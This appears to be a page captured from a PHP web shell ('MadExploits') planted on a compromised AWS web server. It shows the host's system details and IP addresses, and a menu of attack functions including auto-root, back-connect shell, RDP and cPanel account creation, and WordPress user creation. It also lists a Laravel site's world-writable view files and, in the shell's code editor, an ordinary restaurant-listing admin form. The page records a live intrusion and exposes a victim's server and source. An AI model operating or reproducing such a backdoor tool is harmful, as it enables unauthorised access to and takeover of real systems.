Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 3.128.78.43
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cravings /
storage /
framework /
views /
[ HOME SHELL ]
Name
Size
Permission
Action
.gitignore
14
B
-rwxrwxrwx
045b45694e36c2f9c38c41eaa3f0c9...
2.94
KB
-rwxrwxrwx
0c8be50d69974c7ce2c8bdde4f51c5...
666
B
-rwxrwxrwx
0ccfa08dfd3240a277e4e403eb2026...
17.3
KB
-rwxrwxrwx
0fdb8de4d42eeba18a70d45a3b94f8...
12.21
KB
-rwxrwxrwx
11761ab62c0aee7dee27208c13897a...
999
B
-rwxrwxrwx
142ce0ec5ead36b99b2e075781cde6...
2.13
KB
-rwxrwxrwx
19efc40934636c2fd55074f775c715...
2.98
KB
-rwxrwxrwx
226ae3dddf457a03a15fe3ddecd291...
1.35
KB
-rwxrwxrwx
23dfc8281ba8d625a917848de71703...
4.14
KB
-rwxrwxrwx
242a73d5e3ac86000f18fd6029bd73...
325
B
-rwxrwxrwx
244554719913789ba1b143c042b267...
183
B
-rwxrwxrwx
26301feee0637c013e84cd77b27945...
382
B
-rwxrwxrwx
2716eee3a8f208f730946c35c6ce74...
1008
B
-rwxrwxrwx
2c5d32775539b20b45340236902e02...
15.22
KB
-rwxrwxrwx
2cdc25603783a64a7013456b5bff2b...
4.92
KB
-rwxrwxrwx
2e4643d9e8298e7dee7deedf0c5747...
24.9
KB
-rwxrwxrwx
2f795dd2d726318b9b17c239376e17...
426
B
-rwxrwxrwx
310e410d208aef78f7f52a3e0ac572...
15.7
KB
-rwxrwxrwx
33dc99e621292835110ad831ac76b0...
26.1
KB
-rwxrwxrwx
366b92bde72f514541349b0a0fdcc0...
314
B
-rwxrwxrwx
36cafa986fd10b12e8679884f49162...
9.19
KB
-rwxrwxrwx
39b2886d7feae6a01e79d8f833d03f...
4.02
KB
-rwxrwxrwx
3aa6802a9c06008a8c3236fb88426b...
8.46
KB
-rwxrwxrwx
41b161e5b1da923072c428717253da...
7.06
KB
-rwxrwxrwx
4498efd6ad2624b53a80d1cf53500c...
3.29
KB
-rwxrwxrwx
4543fc3864e59077625aa08df1b71b...
1.59
KB
-rwxrwxrwx
46f8eb3303dde2b6b1ff3a886ddc87...
3.27
KB
-rwxrwxrwx
4851d4cd42e8b9dfb42cd3eff9ee8e...
432
B
-rwxrwxrwx
48d5b13ea842d1e10f49606a1bed66...
2.06
KB
-rwxrwxrwx
4a0d7b69e98a87270df7114fe3cf02...
432
B
-rwxrwxrwx
4c2579e24045637cb15830b7da2837...
10.96
KB
-rwxrwxrwx
4dafd53c6bc21117b0a9588b6d61c3...
4.6
KB
-rwxrwxrwx
536c5d8edbd34756ae0092ad8e18b7...
24.63
KB
-rwxrwxrwx
5ae13251f1715fe0ce94bbf29dcb30...
10.11
KB
-rwxrwxrwx
5cd4fe7a2b38219bcf0f35435ac308...
16.01
KB
-rwxrwxrwx
636c02acc202892c20d97487989447...
210
B
-rwxrwxrwx
69ad639b417188233c72d1bfeaa906...
1.18
KB
-rwxrwxrwx
6ae30d4d75bbb03bfc64d010609f74...
182
B
-rwxrwxrwx
6cc490828669e9474a3665ead279a6...
158
B
-rwxrwxrwx
6dbb891284fae00ca780b51eb2ae15...
2.44
KB
-rwxrwxrwx
6e537645ceb33513316e37f4217ea0...
2.49
KB
-rwxrwxrwx
6ffc2b8c7b51cd93145d0b7728cbbf...
15.66
KB
-rwxrwxrwx
7affbf7ec3858a9a059f9d062aa126...
3.47
KB
-rwxrwxrwx
7ba69c5e840aa7a02ed1e1e3eeda7b...
6.39
KB
-rwxrwxrwx
8617114f3ff84db7c60e1f9e6f54c6...
9.97
KB
-rwxrwxrwx
8859e69b1448d99374906c0559257f...
4.45
KB
-rwxrwxrwx
8e6d4ca4757f460b279aba40786b4b...
1.98
KB
-rwxrwxrwx
959025c2ed8d77d88a8b5a97dfa19e...
13.15
KB
-rwxrwxrwx
9b867d64ce84f43606a9fae33e30a3...
1018
B
-rwxrwxrwx
a05a080051dad3dce0fb160ce997b4...
159
B
-rwxrwxrwx
a308dcb8af9ab5b7efacc72be7094f...
6.12
KB
-rwxrwxrwx
a37d691094123e1390857b7e8defeb...
11.23
KB
-rwxrwxrwx
a54c85694e10049ba0b6097841a6d7...
5.06
KB
-rwxrwxrwx
a55096779bf1469a233df55086d913...
1.7
KB
-rwxrwxrwx
ae92217104a61373afc93af5550971...
3.58
KB
-rwxrwxrwx
b190f8a791a19beaa79bbb0d8476fe...
5.33
KB
-rwxrwxrwx
b822ac4e77c0ea06332608d9e0b452...
312
B
-rwxrwxrwx
b9fb461b32dff1bd3437b4b764dd0c...
2.92
KB
-rwxrwxrwx
bb4ddbe0d65a089d0b4abae1acde95...
10.68
KB
-rwxrwxrwx
c97264e85f04e9f45a982a3022c70b...
902
B
-rwxrwxrwx
ca457bf1e98421a9a78a54fa956501...
2.53
KB
-rwxrwxrwx
cbc704c9d5b159b3b36520057e598e...
2.43
KB
-rwxrwxrwx
cd9539c87a3be839631ffd31302b4c...
18.69
KB
-rwxrwxrwx
cf5984fc37bec4d8eee222c3cc5dee...
8.12
KB
-rwxrwxrwx
cff7b22d958d939ad1b4bde9922519...
8.95
KB
-rwxrwxrwx
d29f4556fe506c9720e1bf696dabae...
1.76
KB
-rwxrwxrwx
db621f174b75a67a0aaf5c6bacad71...
6.64
KB
-rwxrwxrwx
dc40e4a016ed70b3ad51aea1d161d9...
16.41
KB
-rwxrwxrwx
e15a6e19e1e5177e59e8262584e793...
284
B
-rwxrwxrwx
e19b65e780aca35bebb7b77843b060...
4.6
KB
-rwxrwxrwx
edd39d0714a538cbe2ad92a9e4f133...
22.94
KB
-rwxrwxrwx
eecb58e38f89b879cc6147f18fa955...
1021
B
-rwxrwxrwx
efd1ffeab25f92e4075ce15872c37d...
5.98
KB
-rwxrwxrwx
f1a0be9083f4ff965a9247666bb06e...
16.91
KB
-rwxrwxrwx
f1f02845b43f5e81b20e26a0974570...
722
B
-rwxrwxrwx
f34fe06ad3ab448ac4123d259b6245...
1.77
KB
-rwxrwxrwx
f3a1b98ab2ab523844233cacc7ec0d...
14.01
KB
-rwxrwxrwx
fb07376e752bed5f78442eabd69a22...
11.02
KB
-rwxrwxrwx
ff87649dac98c27bf16b614d1f9544...
8.58
KB
-rwxrwxrwx
googleda794cd9937527d01.html
46
B
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : 33dc99e621292835110ad831ac76b039423dfcec.php
<?php $__env->startSection('stylesheets'); ?> <link href="/css/bootstrap.min.css" rel="stylesheet"> <link href="/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700|Chilanka|Nunito" rel="stylesheet" type="text/css"> <link rel="stylesheet" href="/css2/layout.css"> <link rel="stylesheet" href="/css/autocomplete.css"> <link href="<?php echo e(asset('css2/vex.min.css')); ?>" rel="stylesheet"> <link href="<?php echo e(asset('css/style.css')); ?>" rel="stylesheet"> <link href="<?php echo e(asset('css2/suggest.css')); ?>" rel="stylesheet"> <link rel="shortcut icon" href="/images/icon.png" type="image/png"> <style> .input-close { position: relative; } @media (max-width: 767px){ .wrapper { padding: 0; } form { width: 100%; } .close-addon { position: absolute; right: 15px; top: 33%; cursor: pointer; } } button { background-color: #9CAFB7 !important; border-color: #9CAFB7 !important; color: #fff !important; } @media (min-width: 576px){ .row>.col-sm-6:first-of-type { padding-right: 10px !important; } .input-group { margin-bottom: 5px; } .btn-group2, #address { height: 50px; } #address { border-top-left-radius: 5px; border-bottom-left-radius: 5px; } } .w-100 { width: 100%; } #img-source { /* display: flex; */ justify-content: space-between; flex-wrap: wrap; } .old-img { display: flex; } .old-img img { width: 100%; max-width: 200px; } .place-img { width: 50%; min-height: 100px; margin-bottom: 10px; } .place-img-w { text-align: center; } @media (max-width: 500px) { .place-img { width: 100%; } } .add-new { display: flex; width: 100%; height: 100%; text-align: center; border: 1px solid #ccc; } .add-icon { margin: auto; } .add-icon > * { color: #222; } .add-icon .fa { font-size: 20px; } .add-icon h4 { font-size: 1.2rem; } .delete-place-picture { cursor: pointer; } .add-food-item { display: flex; flex-direction: column; justify-content: center; align-items: center; } .badge { margin-bottom: 0; } .add-food-item .delete-food { } .badge.badge-warning { padding: 10px; margin-bottom: 5px; font-size: 16px; } .category-container { margin-bottom: 10px; } .category-container .badge { padding: 5px; } .remove-cat { cursor: pointer; } button { border: 1px solid transparent; border-radius: 3px; } </style> <?php $__env->stopSection(); ?> <?php $__env->startSection('google'); ?> <?php $__env->stopSection(); ?> <?php $__env->startSection('content'); ?> <div class="containers"> <form action="<?php echo e(route('admin_store_place')); ?>" method="POST" class="place-form" enctype="multipart/form-data"> <?php echo csrf_field(); ?> <input type="hidden" name="edit" id="edit" value="<?php echo e($place['slug'] ?? ''); ?>"> <input type="hidden" name="franchise" id="franinput" value="<?php echo e($place['franchise'] ?? ''); ?>"> <div class="card"> <div class="card-body"> <h4>Place</h4> <div class="form-group suggest input-close"> <input type="text" data-type="place" id="place-name" name="name" class="form-control item-name" placeholder="Name" autocomplete="off" value="<?php echo e($place['name'] ?? ''); ?>" required> </div> <div class="input-group"> <input type="text" name="address" placeholder="Enter Location" class="btn-group2" value="<?php echo e($place['address'] ?? ''); ?>" id="address" required> <div class="input-group-append btn-group2"> <button style="white-space: normal; background-color: #e8eeef; color: #8a97a0" type="button" class="btn btn-primary get-location"><i class="ta ta-target"></i></button> </div> </div> <div class="row"> <div class="col-md-6"> <div class="form-group"> <input type="text" name="latitude" placeholder="Latitude" class="form-control" id="lats" value="<?php echo e(isset($place) ? $place['location'] ? $place['location']['coordinates'][1] : '' : ''); ?>"> </div> </div> <div class="col-md-6"> <div class="form-group"> <input type="text" name="longitude" placeholder="Longitude" class="form-control" id="lngs" value="<?php echo e(isset($place) ? $place['location'] ? $place['location']['coordinates'][0] : '' : ''); ?>"> </div> </div> </div> <div class="form-group suggest"> <input type="text" id="phone" name="phone[]" class="form-control" value="<?php echo e($place['phones'][0] ?? ''); ?>" placeholder="Telephone 1 (optional)" autocomplete="off"> </div> <div class="form-group suggest"> <input type="text" id="phonetwo" name="phone[]" class="form-control" value="<?php echo e($place['phones'][1] ?? ''); ?>" placeholder="Telephone 2 (optional)" autocomplete="off"> </div> <div class="form-group suggest"> <input type="email" id="email" name="email" class="form-control" value="<?php echo e($place['email'] ?? ''); ?>" placeholder="Email (optional)" autocomplete="off"> </div> <div class="row"> <div class="form-group suggest col-sm-6" style="padding: 0"> <input type="text" id="opening" name="opening" class="form-control timing" placeholder="Opening Time (e.g. 08:00)" value="<?php echo e($place['opening'] ?? ''); ?>"> </div> <div class="form-group suggest col-sm-6" style="padding: 0"> <input type="text" id="closing" name="closing" class="form-control timing" placeholder="Closing Time (e.g. 22:00)" value="<?php echo e($place['closing'] ?? ''); ?>"> </div> </div> <div class="form-group suggest"> <input type="text" id="whatsapp" name="whatsapp" class="form-control" value="<?php echo e($place['whatsapp'] ?? ''); ?>" placeholder="WhatsApp" autocomplete="off"> </div> <div class="form-group suggest"> <input type="text" id="jumia" name="jumia" class="form-control" value="<?php echo e($place['jumia'] ?? ''); ?>" placeholder="Jumia Link" autocomplete="off"> </div> <div class="form-group suggest"> <input type="text" id="website" name="website" class="form-control" value="<?php echo e($place['website'] ?? ''); ?>" placeholder="Website" autocomplete="off"> </div> <div class="form-group suggest"> <input type="text" id="info" name="info" class="form-control" value="<?php echo e($place['info'] ?? ''); ?>" placeholder="Other information" autocomplete="off"> </div> <!-- <input type="hidden" role="uploadcare-uploader" name="image" data-crop="800x600" /><br><br> --> <div id="img-source"> <?php if(isset($place) && isset($place['image'])): ?> <?php $__currentLoopData = $place['image']; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $image): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <div class="place-img"> <div class="place-img-w"> <img src="<?php echo e($image); ?>" class="w-100" /> <a href="#" class="delete-place-picture" data-slug="<?php echo e($place['slug']); ?>" data-index="<?php echo e($loop->index); ?>"> <span class="fa fa-times"></span> </a> </div> </div> <input type="hidden" name="uploadimage[]" value="<?php echo e($image); ?>"> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> <?php endif; ?> <div id="old-img"></div> <div class="place-img"> <div class="form-group suggest img-input"> <label for="images">Pictures</label> <input type="file" class="form-control" name="image[]"> <input type="file" class="form-control" name="image[]"> </div> </div> </div> <h5 class="text-center type-of-place" style="margin-top: 20px;">Type of Place</h5> <?php $types = [ 'restaurant' => 'Restaurant', 'mamaput' => 'Mama Put', 'bar' => 'Bar', 'streetfood' => 'Street Food', 'fastfood' => 'Fast Food', 'hotel' => 'Hotel', 'eatery' => 'Eatery', 'cafe' => 'Cafe', 'online' => 'Delivery Only' ] ?> <?php $__currentLoopData = $types; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key => $type): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <?php $in = (isset($place) && isset($place['type'])) && $key === $place['type'] ? 'checked' : ''; ?> <div class="form-check suggest form-check-inline"> <input class="form-check-input" id="<?php echo e($key); ?>" name="type" <?php echo e($in); ?> type="radio" value="<?php echo e($key); ?>"> <label class="form-check-label" for="<?php echo e($key); ?>"><?php echo e($type); ?></label> </div> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> <hr> <?php $cats = [ 'african' => 'African', 'continental' => 'Continental', 'chinese' => 'Chinese', 'indian' => 'Indian', 'fast-food' => 'FastFood', 'breakfast' => 'Breakfast', 'seafood' => 'Seafood', 'finedining' => 'FineDining', 'healthy' => 'Healthy', 'grill' => 'Grill', 'parking' => 'Parking', 'seating' => 'Seating', 'delivery' => 'Delivery' ] ?> <div id="tags-list"> <h5 class="text-center">Tags <span style="font-size: 14px">(select many)</span></h5> <?php $__currentLoopData = $cats; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key => $cat): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <?php $in = (isset($place) && isset($place['tags'])) && in_array($key, (array) $place['tags']) ? 'checked' : ''; ?> <div class="form-check suggest form-check-inline"> <input class="form-check-input" id="<?php echo e($key); ?>" name="tags[]" <?php echo e($in); ?> type="checkbox" value="<?php echo e($key); ?>"> <label class="form-check-label" for="<?php echo e($key); ?>"><?php echo e($cat); ?></label> </div> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </div> <div class="form-inline flexContainer"> <div id="extra-tags"> <input type="text" id="extra" class="form-control"> </div> <button type="button" class="btn btn-primary" id="add-tag">Add Tag</button> </div> <div class="category-container"> <?php if(isset($place) && isset($place['category'])): ?> <?php $__currentLoopData = $place['category']; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $cat): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <span class="badge badge-warning category"> <?php echo e($cat); ?> <span class="fa fa-times remove-cat" data-index="<?php echo e($loop->index); ?>"></span> <input type="hidden" name="category[]" value="<?php echo e($cat); ?>" /> </span> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> <?php endif; ?> </div> <div class="flexContainer"> <div id="categories"> <input type="text" id="category" class="form-control"> </div> <button type="button" class="btn btn-primary" id="add-category">Add Category</button> </div> <hr> <?php $areas = ['Agungi','Ajah','Akoka','Alausa','Apapa','Chevron','Ebute Metta','Festac Town','Gbagada','Ikate','Ikeja','Ikoyi','Ilupeju','Island','Isolo','Lagos Island','Lekki','Magodo','Mainland','Maryland','Okota','Opebi','Oregun','Oshodi','Satellite Town','Surulere','VGC','Victoria Island','Yaba'] ?> <div id="delivery-list" style="display: none"> <h5 class="text-center">Delivery Areas <span style="font-size: 14px">(select many)</span></h5> <?php $__currentLoopData = $areas; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key => $area): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <?php $in = (isset($place) && isset($place['delivery'])) && in_array($area, (array) $place['delivery']) ? 'checked' : ''; $id = implode("-", explode(" ", $area)); ?> <div class="form-check suggest form-check-inline"> <input class="form-check-input" id="<?php echo e($id); ?>" name="delivery[]" type="checkbox" <?php echo e($in); ?> value="<?php echo e($area); ?>"> <label class="form-check-label" for="<?php echo e($id); ?>"><?php echo e($area); ?></label> </div> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </div> <hr> <div class="prev-food" id="prev-food" style="display: flex; flex-wrap: wrap;"> <?php if(isset($food)): ?> <h5 style="font-size: 18px; width: 100%; padding-bottom: 20px;">Click on a food item to edit it</h5><br> <?php $__currentLoopData = $food; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $f): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <div class="add-food-item" style="text-align: center;"> <button style="background-color: transparent !important; padding: 0; border: none" type="button" class="edit-prev-food preset" data-id="<?php echo e($f['_id'] ?? ''); ?>" data-description="<?php echo e($f['description'] ?? ''); ?>" data-name="<?php echo e($f['name']); ?>" data-category="<?php echo e($f['category'] ?? ''); ?>" data-price="<?php echo e($f['price']); ?>"> <span class="badge badge-warning"> <?php echo e($f['name']); ?> - <?php echo e($f['price']); ?> </span> </button> <a href="#" class="delete-food" data-id="<?php echo e($f['_id'] ?? ''); ?>" data-name="<?php echo e($f['name'] ?? ''); ?>"> <i class="fa fa-times"></i> </a> </div> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> <?php endif; ?> </div> <div class="items"> </div> <div class="add-more" style="margin-bottom: 20px;"> <button type="button" class="btn btn-primary add-item">Add Food</button> </div> <button class="btn btn-success form-control submit-place">Submit</button> </div> </div> </form> </div> <div class="top-of-page" style="position: fixed; bottom: 50%; right: 20px;"> <button class="go-to-top" style="padding: 5px; background-color: #c32022; color: #fff; font-size: 15px;"> Top </button> <button class="go-to-bottom" style="padding: 5px; background-color: #c32022; color: #fff; font-size: 15px;"> Bottom </button> </div> <?php $__env->stopSection(); ?> <?php $__env->startSection('footer'); ?> <?php $__env->stopSection(); ?> <?php $__env->startSection('admin'); ?> <?php $__env->stopSection(); ?> <?php $__env->startSection('javascript'); ?> ##parent-placeholder-b6e13ad53d8ec41b034c49f131c64e99cf25207a## <script src="<?php echo e(asset('js/vex.min.js')); ?>"></script> <script> vex.defaultOptions.className = 'vex-theme-plain'; let cats = Array.from(document.querySelectorAll('.category')).map(catSpan => catSpan.textContent.trim()) const loadCategories = () => { // populate category options for all new food items being entered const foodItems = document.querySelectorAll('.item') foodItems.forEach(foodinput => { const food_category_select = foodinput.querySelector('.food-category') if(food_category_select){ const select = food_category_select.value food_category_select.innerHTML = '<option value="">Select category</option>'; food_category_select.innerHTML += cats.map(cat => catOption(cat, select || '')).join("") } // catSelect.value = }) document.querySelector('.category-container').innerHTML = cats.map((cat, i) => categoryTemplate(cat, i)).join(""); }; </script> <script src="<?php echo e(asset('js/addfood.js')); ?>"></script> <script src="/js/search.js"></script> <script> const delete_food_by_id = _id => { return fetch(`/place/food/delete/${_id}`, {credentials: 'same-origin'}) .then(response => response.json()) .catch(error => console.log(error)) } function deleteFood(e){ e.preventDefault(); const target = e.currentTarget; const _id = target.dataset.id; // var con = confirm('Are you sure you want to delete ' + name); delete_food_by_id(_id) .then(result => { target.closest('.add-food-item').style.display = 'none'; }) } document.querySelectorAll('.delete-food').forEach(deleteButton => { deleteButton.addEventListener('click', deleteFood) }) var areas = ['Agungi','Ajah','Akoka','Alausa','Apapa','Chevron','Ebute Metta','Festac Town','Gbagada','Ikate','Ikeja','Ikoyi','Ilupeju','Island','Isolo','Lagos Island','Lekki','Magodo','Mainland','Maryland','Okota','Opebi','Oregun','Oshodi','Satellite Town','Surulere','VGC','Victoria Island','Yaba']; // document.getElementById("upload_widget").addEventListener("click", function(){ // myWidget.open(); // }, false); var long = document.getElementById('longitude'); var lati = document.getElementById('latitude'); (function addsEvent(){ autocomplete(document.getElementById('address')) .then(response => { populate(response); addsEvent(); }); })(); $('.get-location').on('click', function(e){ e.preventDefault(); const $target = $(e.currentTarget); $target.addClass('animated pulse infinite') startMap().then(locate => { console.log(locate); document.getElementById('address').value = locate.address long.value = locate.longitude lati.value = locate.latitude $target.removeClass('animated pulse infinite') }).catch(error => console.log(error)) }) document.getElementById('add-tag').addEventListener('click', function(e){ e.preventDefault(); const extra = document.getElementById('extra'); const extraTag = extra.value.split(" ").join("") const newTag = document.createElement('div'); newTag.classList.add("form-check", "suggest", "form-check-inline"); newTag.innerHTML = tagTemplate(extraTag); document.getElementById('tags-list').appendChild(newTag); extra.value = ""; }); const categoryTemplate = (category, index) => ` <span class="badge badge-warning"> ${category} <span class="fa fa-times remove-cat" data-index="${index}"></span> <input type="hidden" name="category[]" value="${category}" /> </span> `; document.querySelector('.category-container').addEventListener('click', function(e){ if(e.target.dataset.index !== 'undefined') { cats.splice(e.target.dataset.index, 1) e.target.closest('.badge').style.display = 'none'; loadCategories(); } }) document.getElementById('add-category').addEventListener('click', function(e){ const cat = document.getElementById('category'); if(cat.value) { const cats_entered = cat.value.split(",").map(c => c.trim()) cats.push(...cats_entered); cat.value = ""; cat.focus() loadCategories(); } }); const catOption = (cat, opt) => ` <option ${opt === cat && 'selected'} value="${cat}">${cat}</option> `; var newFood = (food = {}) => { const foodNode = document.createElement('div') foodNode.classList.add('item'); foodNode.innerHTML = ` <div> <input type="hidden" class="food-id" name="food[id][]" value="${food.id || ''}" /> <div class="form-group suggest"> <input type="text" data-type="food" name="food[food][]" class="form-control food-name" value="${food.name || ''}" placeholder="Food name" autocomplete="off"> </div> <div class="form-group suggest price-check"> <input type="text" name="food[price][]" class="form-control price" value="${food.price || ''}" placeholder="Price" autocomplete="off"> </div> <div class="form-group suggest"> <textarea class="form-control description" name="food[description][]" placeholder="Description">${food.description || ""}</textarea> </div> <div class="form-group suggest"> <select class="form-control food-category" name="food[foodCategory][]"> <option value="">Select Category</option> ${cats.map(cat => catOption(cat, food.category || ''))} </select> </div> <div> <button class="btn btn-danger remove-current-item">Remove <i class="fa fa-times"></i></button> </div> </div> `; return foodNode; } var foodsToAdd = {}; function editFood(e){ e.preventDefault(); const target = e.currentTarget; const _id = target.dataset.id; // delete_food_by_id(_id) // .then(result => { if(!foodsToAdd[_id]){ foodsToAdd[_id] = target.dataset; const foodItems = document.querySelectorAll('.item'); if(!foodItems.length){ document.querySelector('.items').appendChild(newFood(target.dataset)); }else { document.querySelector('.items').insertBefore(newFood(target.dataset), foodItems[0]); } // document.querySelector('.items').innerHTML = + .innerHTML; document.querySelector('.food-name').select(); } target.closest('.add-food-item').style.display = 'none'; goToTop(document.querySelector('.item').offsetTop) // }) } $(document).on('click', '.add-current-item', function(e){ e.preventDefault(); const $target = $(e.currentTarget); const $container = $target.closest('.item'); const _id = $container.find('.food-id').val(); const name = $container.find('.food-name').val(); const price = $container.find('.price').val(); const description = $container.find('.description').val(); // console.log(name); $container.remove() $('#prev-food').append(prevFood({_id, name, price, description})) }); // $(document).on('keyup', '.food-name', function(e){ // let slug = document.querySelector('#edit').value; // console.log(e.target, e.currentTarget) // if(slug){ // console.log('hhh') // autoC(e.currentTarget, function(text){ // text = text.toLowerCase(); // console.log(text) // return $.get(`/place/food/search/${slug}/${e.currentTarget.value}`) // }, function(foodDetails){ // e.currentTarget.value = foodDetails.name; // let container = e.currentTarget.closest('.item'); // container.querySelector('.price').value = foodDetails.price; // container.querySelector('.description').value = foodDetails.description; // const idInput = document.createElement('input'); // idInput.setAttribute('type', 'hidden'); // idInput.value = foodDetails.key; // container.appendChild(idInput); // }) // } // }); document.querySelectorAll('.edit-prev-food.preset').forEach(editButton => { editButton.addEventListener('click', editFood) }) $(document).on('click', '.remove-current-item', function(e){ e.preventDefault(); const $target = $(e.currentTarget); const $container = $target.closest('.item'); // console.log(name); $container.remove(); }); const imgTemp = (img) => ` <div class="place-img"> <div class="place-img-w"> <img src="${img}" class="w-100" /> </div> </div> ` function appendImage(img){ $('#img-source').prepend(imgTemp(img)) } function oldPlace(slug) { const el = document.createElement('input'); el.setAttribute('type', 'hidden'); el.setAttribute('name', 'oldplace'); el.setAttribute('value', slug); document.querySelector('.place-form').appendChild(el); } const placeSearch = document.querySelector('#place-name'); autoComplete({ input: placeSearch, fetch: async function(text, update) { text = text.toLowerCase(); var suggestions = await $.get(`/api/place/search/${text}`) update(suggestions) }, onSelect: async function({name, slug}) { placeSearch.value = name; oldPlace(slug) const placeDetails = await getPrevFood(name); resets(placeDetails.place, placeDetails.food); } }); // document.querySelector('.check-fran').addEventListener('click', function(e){ // // check // e.preventDefault(); // const placeName = document.querySelector('#place-name').value; // if(placeName.length){ // doFetch(`/api/place/franchise/food/${placeName}`) // .then(places => { // franchisePlaces = places; // newFranCon(places) // }) // } // // document.getElementById('prev-food').innerHTML = food && food.length ? populateFood(food) : ""; // }); document.querySelector('.go-to-top').addEventListener('click', function(e){ e.preventDefault(); const top = $('.type-of-place').offset().top goToTop(top) }) document.querySelector('.go-to-bottom').addEventListener('click', function(e){ e.preventDefault(); const foodItems = document.querySelectorAll('.item') const bottom = foodItems.length ? foodItems[foodItems.length - 1].offsetTop : document.querySelector('.items').offsetTop; goToTop(bottom) }) // Toggle show delivery areas when delivery is (de)selected document.getElementById('delivery').addEventListener('change', function(e){ if(e.target.checked){ document.querySelector('#delivery-list').style.display = 'block'; }else { document.querySelector('#delivery-list').style.display = 'none'; } }) function goToTop(goto) { $('html, body').animate({ scrollTop: goto }, 800); // if (this.hash !== "") { // event.preventDefault(); // var hash = this.hash; // $('html, body').animate({ // scrollTop: $(hash).offset().top // }, 800, function() { // window.location.hash = hash; // }); // } } </script> <?php $__env->stopSection(); ?> <?php echo $__env->make('layouts.base', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /var/www/html/cravings/resources/views/places/suggest.blade.php ENDPATH**/ ?>
Close